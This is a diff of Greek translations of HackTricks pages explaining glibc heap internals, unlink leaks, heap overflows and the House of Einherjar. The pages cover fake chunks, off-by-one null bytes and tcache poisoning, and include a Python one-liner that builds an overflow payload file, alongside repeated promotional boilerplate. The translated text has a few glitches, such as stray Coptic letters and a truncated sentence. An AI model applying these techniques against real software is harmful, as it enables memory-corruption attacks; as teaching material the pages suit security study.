// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10
@ -1345,7 +1340,7 @@ madvise_thp (brk, size);
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
}
```
### sysmalloc κύριος χώρος προηγούμενο σφάλμα 1
### sysmalloc κύρια αρένα προηγούμενο σφάλμα 1
Εάν το προηγούμενο επέστρεψε `MORECORE_FAILURE`, προσπαθήστε ξανά να εκχωρήσετε μνήμη χρησιμοποιώντας το `sysmalloc_mmap_fallback`
```c
@ -1378,9 +1373,15 @@ snd_brk = brk + size;
}
}
```
### Συνέχεια κύριου χώρου sysmalloc
</details>
Αν το προηγούμενο δεν επέστρεψε `MORECORE_FAILURE`, αν λειτούργησε δημιουργήστε μερικές ευθυγραμμίσεις:
### sysmalloc κυρίως συνέχεια αρένας
Αν το προηγούμενο δεν επέστρεψε `MORECORE_FAILURE`, αν λειτούργησε δημιουργήστε κάποιες ευθυγραμμίσεις:
<details>
<summary>sysmalloc κυρίως σφάλμα αρένας προηγούμενο 2</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742
@ -1563,9 +1564,7 @@ _int_free (av, old_top, 1);
}
} /* if (av != &main_arena) */
```
</details>
### Τελικό sysmalloc
### Τελικό σύστημα εκχώρησης μνήμης
Ολοκληρώστε την εκχώρηση ενημερώνοντας τις πληροφορίες της αρένας
```c
@ -1689,16 +1688,17 @@ return chunk2mem (p);
```
</details>
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# unlink
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
### Κώδικας
```c
@ -76,7 +77,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
### Διαρροές
Ένα κομμάτι που έχει unlink δεν καθαρίζει τις εκχωρημένες διευθύνσεις, οπότε έχοντας πρόσβαση σε αυτό, είναι δυνατή η διαρροή ορισμένων ενδιαφερουσών διευθύνσεων:
Ένα αποσυνδεδεμένο κομμάτι δεν καθαρίζει τις εκχωρημένες διευθύνσεις, οπότε έχοντας πρόσβαση σε αυτό, είναι δυνατή η διαρροή ορισμένων ενδιαφερουσών διευθύνσεων:
Διαρροές Libc:
@ -89,17 +90,3 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
* Αν το P βρίσκεται στην αρχή της διπλά συνδεδεμένης λίστας, το `fd` θα δείχνει σε ένα διαθέσιμο κομμάτι στη στοίβα
* Αν το P βρίσκεται στο τέλος της διπλά συνδεδεμένης λίστας, το `bk` θα δείχνει σε ένα διαθέσιμο κομμάτι στη στοίβα
* Αν το P βρίσκεται στη διπλά συνδεδεμένη λίστα, τόσο το `fd` όσο και το `bk` θα δείχνουν σε ένα διαθέσιμο κομμάτι στη στοίβα
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>

View file

@ -1,42 +1,47 @@
# Υπερχείλιση Σωρού
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Η υπερχείλιση σωρού είναι σαν μια [**υπερχείλιση στοίβας**](../stack-overflow/) αλλά στο σωρό. Βασικά σημαίνει ότι κάποιος χώρος είχε διατεθεί στο σωρό για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον διατεθείσα χώρο.**
Η υπερχείλιση σωρού είναι σαν ένα [**χειρισμός υπερχείλισης στοίβας**](../stack-overflow/) αλλά στο σωρό. Βασικά σημαίνει ότι κάποιος χώρος είχε διατεθεί στο σωρό για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον διατεθείσα χώρο.**
Στις υπερχειλίσεις στοίβας γνωρίζουμε ότι κάποιοι καταχωρητές όπως ο δείκτης εντολών ή το πλαίσιο στοίβας θα αποκατασταθούν από τη στοίβα και θα μπορούσε να είναι δυνατό να εκμεταλλευτεί αυτό κάποιος. Στην περίπτωση των υπερχειλίσεων σωρού, **δεν υπάρχει καμία ευαίσθητη πληροφορία που αποθηκεύεται από προεπιλογή** στο κομμάτι του σωρού που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητες πληροφορίες ή δείκτες, οπότε η **κρισιμότητα** αυτής της ευπάθειας **εξαρτάται** από το **ποια δεδομένα μπορούν να αντικατασταθούν** και πώς μπορεί ένας επιτιθέμενος να εκμεταλλευτεί αυτό.
Στις υπερχειλίσεις στοίβας γνωρίζουμε ότι κάποιοι καταχωρητές όπως ο δείκτης εντολών ή το πλαίσιο στοίβας θα αποκατασταθούν από τη στοίβα και θα μπορούσε να είναι δυνατό να καταχραστεί αυτό. Στην περίπτωση των υπερχειλίσεων σωρού, **δεν υπάρχει καμία ευαίσθητη πληροφορία που αποθηκεύεται από προεπιλογή** στο κομμάτι του σωρού που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητες πληροφορίες ή δείκτες, οπότε η **κρισιμότητα** αυτής της ευπάθειας **εξαρτάται** από το **ποια δεδομένα μπορούν να αντικατασταθούν** και πώς μπορεί ένας επιτιθέμενος να καταχραστεί αυτό.
{% hint style="success" %}
Για να βρείτε τις μετατοπίσεις υπερχείλισης μπορείτε να χρησιμοποιήσετε τα ίδια πρότυπα όπως στις [**υπερχειλίσεις στοίβας**](../stack-overflow/#finding-stack-overflows-offsets).
Για να βρείτε τις μετατοπίσεις υπερχειλίσεων μπορείτε να χρησιμοποιήσετε τα ίδια πρότυπα όπως στις [**υπερχειλίσεις στοίβας**](../stack-overflow/#finding-stack-overflows-offsets).
{% endhint %}
### Υπερχειλίσεις Στοίβας έναντι Υπερχειλίσεων Σωρού
Στις υπερχειλίσεις στοίβας η διάταξη και τα δεδομένα που θα υπάρχουν στη στοίβα τη στιγμή που μπορεί να ενεργοποιηθεί η ευπάθεια είναι αρκετά αξιόπιστα. Αυτό οφείλεται στο γεγονός ότι η στοίβα είναι γραμμική, αυξάνεται πάντα σε συγκρούουσα μνήμη, σε **συγκεκριμένα σημεία της εκτέλεσης του προγράμματος η μνήμη στοίβας αποθηκεύει συνήθως παρόμοιου είδους δεδομένα** και έχει μια συγκεκριμένη δομή με ορισμένους δείκτες στο τέλος του τμήματος στοίβας που χρησιμοποιείται από κάθε συνάρτηση.
Στις υπερχειλίσεις στοίβας η διάταξη και τα δεδομένα που θα υπάρχουν στη στοίβα τη στιγμή που μπορεί να ενεργοποιηθεί η ευπάθεια είναι αρκετά αξιόπιστα. Αυτό οφείλεται στο γεγονός ότι η στοίβα είναι γραμμική, αυξάνεται πάντα σε συγκρούουσα μνήμη, σε **συγκεκριμένα σημεία της εκτέλεσης του προγράμματος η μνήμη στοίβας αποθηκεύει συνήθως παρόμοιου είδους δεδομένα** και έχει κάποια συγκεκριμένη δομή με ορισμένους δείκτες στο τέλος του τμήματος στοίβας που χρησιμοποιείται από κάθε συνάρτηση.
Ωστόσο, στην περίπτωση μιας υπερχείλισης σωρού, η χρησιμοποιούμενη μνήμη δεν είναι γραμμική αλλά **οι εκχωρημένες χούνκες είναι συνήθως σε ξεχωρισμένες θέσεις μνήμης** (όχι μία δίπλα στην άλλη) λόγω των **κάδων και ζωνών** που χωρίζουν τις εκχωρήσεις ανά μέγεθος και επειδή **η προηγούμενη ελευθέρωση μνήμης χρησιμοποιείται** πριν από την εκχώρηση νέων χούνκων. Είναι **περίπλοκο να γνωρίζουμε το αντικείμενο που θα συγκρουστεί με το ευάλωτο αντικείμενο** σε μια υπερχείλιση σωρού. Έτσι, όταν βρεθεί μια υπερχείλιση σωρού, είναι απαραίτητο να βρεθεί ένας **αξιόπιστος τρόπος για να το επιθυμητό αντικείμενο να είναι το επόμενο στη μνήμη** από αυτό που μπορεί να υπερχειλιστεί.
Ωστόσο, στην περίπτωση μιας υπερχείλισης σωρού, η χρησιμοποιούμενη μνήμη δεν είναι γραμμική αλλά **οι εκχωρημένες χούνκς είναι συνήθως σε ξεχωρισμένες θέσεις μνήμης** (όχι μία δίπλα στην άλλη) λόγω των **κάδων και ζωνών** που χωρίζουν τις εκχωρήσεις ανά μέγεθος και επειδή **η προηγούμενη ελευθέρωση μνήμης χρησιμοποιείται** πριν από την εκχώρηση νέων χούνκς. Είναι **δύσκολο να γνωρίζουμε το αντικείμενο που θα συγκρουστεί με το ευάλωτο αντικείμενο** σε μια υπερχείλιση σωρού. Έτσι, όταν βρεθεί μια υπερχείλιση σωρού, είναι απαραίτητο να βρεθεί ένας **αξιόπιστος τρόπος για να το επιθυμητό αντικείμενο να είναι το επόμενο στη μνήμη** από αυτό που μπορεί να υπερχειλιστεί.
Ένας από τους τεχνικές που χρησιμοποιούνται γι' αυτό είναι η **Διαμόρφωση Σωρού** που χρησιμοποιείται για παράδειγμα [**σε αυτή την ανάρτηση**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Στην ανάρτηση εξηγείται πώς όταν στο πυρήνα iOS όταν μια ζώνη εξαντλεί τη μνήμη για να αποθηκεύσει χούνκες μνήμης, την επεκτείνει με μια σελίδα πυρήνα, και αυτή η σελίδα διαιρείται σε χούνκες των αναμενόμενων μεγεθών που θα χρησιμοποιηθούν με τη σειρά (μέχρι την έκδοση iOS 9.2, τότε αυτές οι χούνκες χρησιμοποιούνται με τυχαίο τρόπο για να δυσκολέψει η εκμετάλλευση αυτών των επιθέσεων).
Ένας από τους τεχνικές που χρησιμοποιούνται γι' αυτό είναι η **Διαμόρφωση Σωρού** που χρησιμοποιείται για παράδειγμα [**σε αυτή την ανάρτηση**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Στην ανάρτηση εξηγείται πώς όταν στο πυρήνα iOS ένας κάδος εξαντλεί τη μνήμη για να αποθηκεύσει χούνκς μνήμης, το διευρύνει με μια σελίδα πυρήνα, και αυτή η σελίδα διαιρείται σε χούνκς των αναμενόμενων μεγεθών που θα χρησιμοποιηθούν με τη σειρά (μέχρι την έκδοση iOS 9.2, τότε αυτά τα κομμάτια χρησιμοποιούνται με τυχαίο τρόπο για να δυσκολέψει η εκμετάλλευση αυτών των επιθέσεων).
Συνεπώς, στην προηγούμενη ανάρτηση όπου συμβαίνει μια υπερχείλιση σωρού, για να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρουστεί με ένα αντικείμενο θύμα, αρκετά **`kallocs` είναι αναγκασμένα από αρκετούς νήματα για να εξασφαλίσουν ότι όλες οι ελεύθερες χούνκες είναι γεμάτες και ότι δημιουργείται μια νέα σελίδα**.
Συνεπώς, στην προηγούμενη ανάρτηση όπου συμβαίνει μια υπερχείλιση σωρού, για να αναγκαστεί το υπερχειλισμένο αντικείμενο να συγκρουστεί με ένα αντικείμενο θύμα, αρκετά **`kallocs` είναι αναγκασμένα από αρκετά νήματα για να εξασφαλίσουν ότι όλα τα ελεύθερα κομμάτια είναι γεμάτα και ότι δημιουργείται μια νέα σελίδα**.
Για να αναγκαστεί αυτή η γέμιση με αντικείμενα συγκεκριμένου μεγέθους, η **εκχωρηση εκτός γραμμής που συσχετίζεται με ένα iOS mach port** είναι ένας ιδανικός υποψήφιος. Με τον σχεδιασμό του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της εκχώρησης `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη εκχώρηση θα απελευθερωθεί αμέσως πίσω στο `kfree`.
Για να αναγκαστεί αυτή η γέμιση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός-γραμμής εκχώρηση που συσχετίζεται με ένα iOS mach port** είναι ένας ιδανικός υποψήφιος. Με τον σχεδιασμό του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της εκχώρησης `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη εκχώρηση θα απελευθερωθεί αμέσως πίσω στο `kfree`.
Στη συνέχεια, μερικά από αυτά τα αντικείμενα μπορούν να **απελευθερωθούν**. Η λίστα ελεύθερωσης **`kalloc.4096` απελευθερώνει στοιχεία με τη σειρά τελευταίο που μπαίνει πρώτο**, που ουσιαστικά σημαίνει ότι αν κάποια σημεία απελευθερωθούν και η εκμετάλλευση προσπαθήσει να εκχωρήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να εκχωρήσει το ευάλωτο αντικείμενο υπερχείλισης, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθηθεί από ένα αντικείμεν
Στη συνέχεια, μερικά από αυτά τα σημεία αντικείμενων μπορούν να **απελευθερωθούν**. Η λίστα ελεύθερωσης **`kalloc.4096` απελευθερώνει στοιχεία με τη σειρά τελευταίο-πρώτο, που βασικά σημαίνει ότι αν κάποια σημεία απελευθερωθούν και η εκμετάλλευση προσπαθήσει να εκχωρήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να εκχωρήσει το ευάλωτο αντικείμενο υπερχείλισης, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθηθεί από ένα αντικείμενο θύμα.
### Παράδειγμα libc
[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) είναι δυνατό να βρεθεί μια βασική προσομοίωση υπερχείλισης σωρού που δείχνει πώς με τον υπεργραφέα του
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```

View file

@ -1,18 +1,19 @@
# Σπίτι του Einherjar
# House of Einherjar
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -30,7 +31,7 @@
* Δημιουργία ενός ψεύτικου κομματιού όταν θέλουμε να δεσμεύσουμε ένα κομμάτι:
* Ορισμός δεικτών να δείχνουν στον εαυτό τους για να παρακάμψουν τους έλεγχους ακεραιότητας
* Υπερχείλιση ενός byte με ένα μηδενικό byte από ένα κομμάτι στο επόμενο για να τροποποιήσει τη σημαία `PREV_INUSE`.
* Να υποδειχθεί στο `prev_size` του κομματιού που καταχρηστικά υπερβαίνει το μηδενικό byte η διαφορά μεταξύ του ίδιου και του ψεύτικου κομματιού
* Να υποδειχθεί στο `prev_size` του κομματιού που καταχρηστικά υπερβαίνει το μηδενικό byte η διαφορά μεταξύ του ίδιου κομματιού και του ψεύτικου κομματιού
* Το μέγεθος του ψεύτικου κομματιού πρέπει επίσης να έχει οριστεί στο ίδιο μέγεθος για να παρακάμψει τους έλεγχους ακεραιότητας
* Για τη δημιουργία αυτών των κομματιών, θα χρειαστείτε μια διαρροή στη στοίβα.
@ -38,12 +39,12 @@
* Δημιουργείται ένα ψεύτικο κομμάτι μέσα σε ένα κομμάτι που ελέγχεται από τον επιτιθέμενο δείχνοντας με τους `fd` και `bk` στο αρχικό κομμάτι για να παρακάμψει τις προστασίες
* Δεσμεύονται 2 άλλα κομμάτια (`B` και `C`)
* Καταχρηστείται το off by one στο `B` όπου το bit `prev in use` καθαρίζεται και τα δεδομένα `prev_size` αντικαθίστανται με τη διαφορά μεταξύ του μέρους όπου δεσμεύεται το κομμάτι `C`, με το ψεύτικο κομμάτι `A` που δημιουργήθηκε πριν
* Χρησιμοποιώντας το off by one στο `B`, το bit `prev in use` καθαρίζεται και τα δεδομένα `prev_size` αντικαθίστανται με τη διαφορά μεταξύ του μέρους όπου δεσμεύεται το κομμάτι `C`, με το ψεύτικο κομμάτι `A` που δημιουργήθηκε πριν
* Αυτό το `prev_size` και το μέγεθος στο ψεύτικο κομμάτι `A` πρέπει να είναι το ίδιο για να παρακάμψουν τους ελέγχους.
* Στη συνέχεια, γεμίζεται το tcache
* Στη συνέχεια, το `C` ελευθερώνεται έτσι ώστε να συγχωνευτεί με το ψεύτικο κομμάτι `A`
* Στη συνέχεια, δημιουργείται ένα νέο κομμάτι `D` που θα ξεκινά από το ψεύτικο κομμάτι `A` και θα καλύπτει το κομμάτι `B`
* Το σπίτι του Einherjar τελειώνει εδώ
* Στη συνέχεια, απελευθερώνεται το `C` έτσι ώστε να συγχωνευτεί με το Ϩεύτικο κομμάτι `A`
* Στη συνέχεια, δημιουργείται ένα νέο κομμάτι `D` που θα ξεκινά από το Ϩεύτικο κομμάτι `A` και θα καλύπτει το κομμάτι `B`
* Εδώ τελειώνει το house of Einherjar
* Αυτό μπορεί να συνεχιστεί με μια επίθεση fast bin ή Tcache poisoning:
* Απελευθερώστε το `B` για να το προσθέσετε στο fast bin / Tcache
* Το `fd` του `B` αντικαθίσταται καθιστώντας το να δείχνει στην επιθυμητή διεύθυνση καταχρώμενο το κομμάτι `D` (καθώς περιέχει το `B` μέσα)&#x20;
@ -53,7 +54,22 @@
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
* Αφού απελευθερωθούν οι δείκτες τους δεν ακυρώνονται, οπότε είναι ακόμα δυνατή η πρόσβαση στα δεδομένα τους. Συνεπώς, τοποθετείται ένα κομμάτι στον ταξιναγμένο κάδο και διαρρέει τους δείκτες που περιέχει (διαρροή libc) και στη συνέχεια τοποθετείται ένα νέο κομμάτι στον ταξιναγμένο κάδο και διαρρέει μια διεύθυνση στη στοίβα από τον δείκτη που λαμβάνει.
* Αφού απελευθερωθούν οι δείκτες, δεν ακυρώνονται, οπότε είναι ακόμα δυνατή η πρόσβαση στα δεδομένα τους. Συνεπώς, τοποθετείται ένα κομμάτι στον ταξιναγμένο κάδο και διαρρέει τους δείκτες που περιέχει (διαρροή libc) και στη συνέχεια τοποθετείται ένα νέο κομμάτι στον ταξιναγμένο κάδο και διαρρέει μια διεύθυνση στη στοίβα από τον δείκτη που λαμβάνει.
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
* Σφάλμα υπερχείλισης μηδενικού byte στο `strtok`.
* Χρησιμοποιήστε το House of Einherjar για να πάρετε μια κατάσταση επικαλυπτόμενων κομματιών και να τελειώσετε με Tcache poisoning για να πάρετε ένα αυθαίρετο γραπτό πρωτεύον.
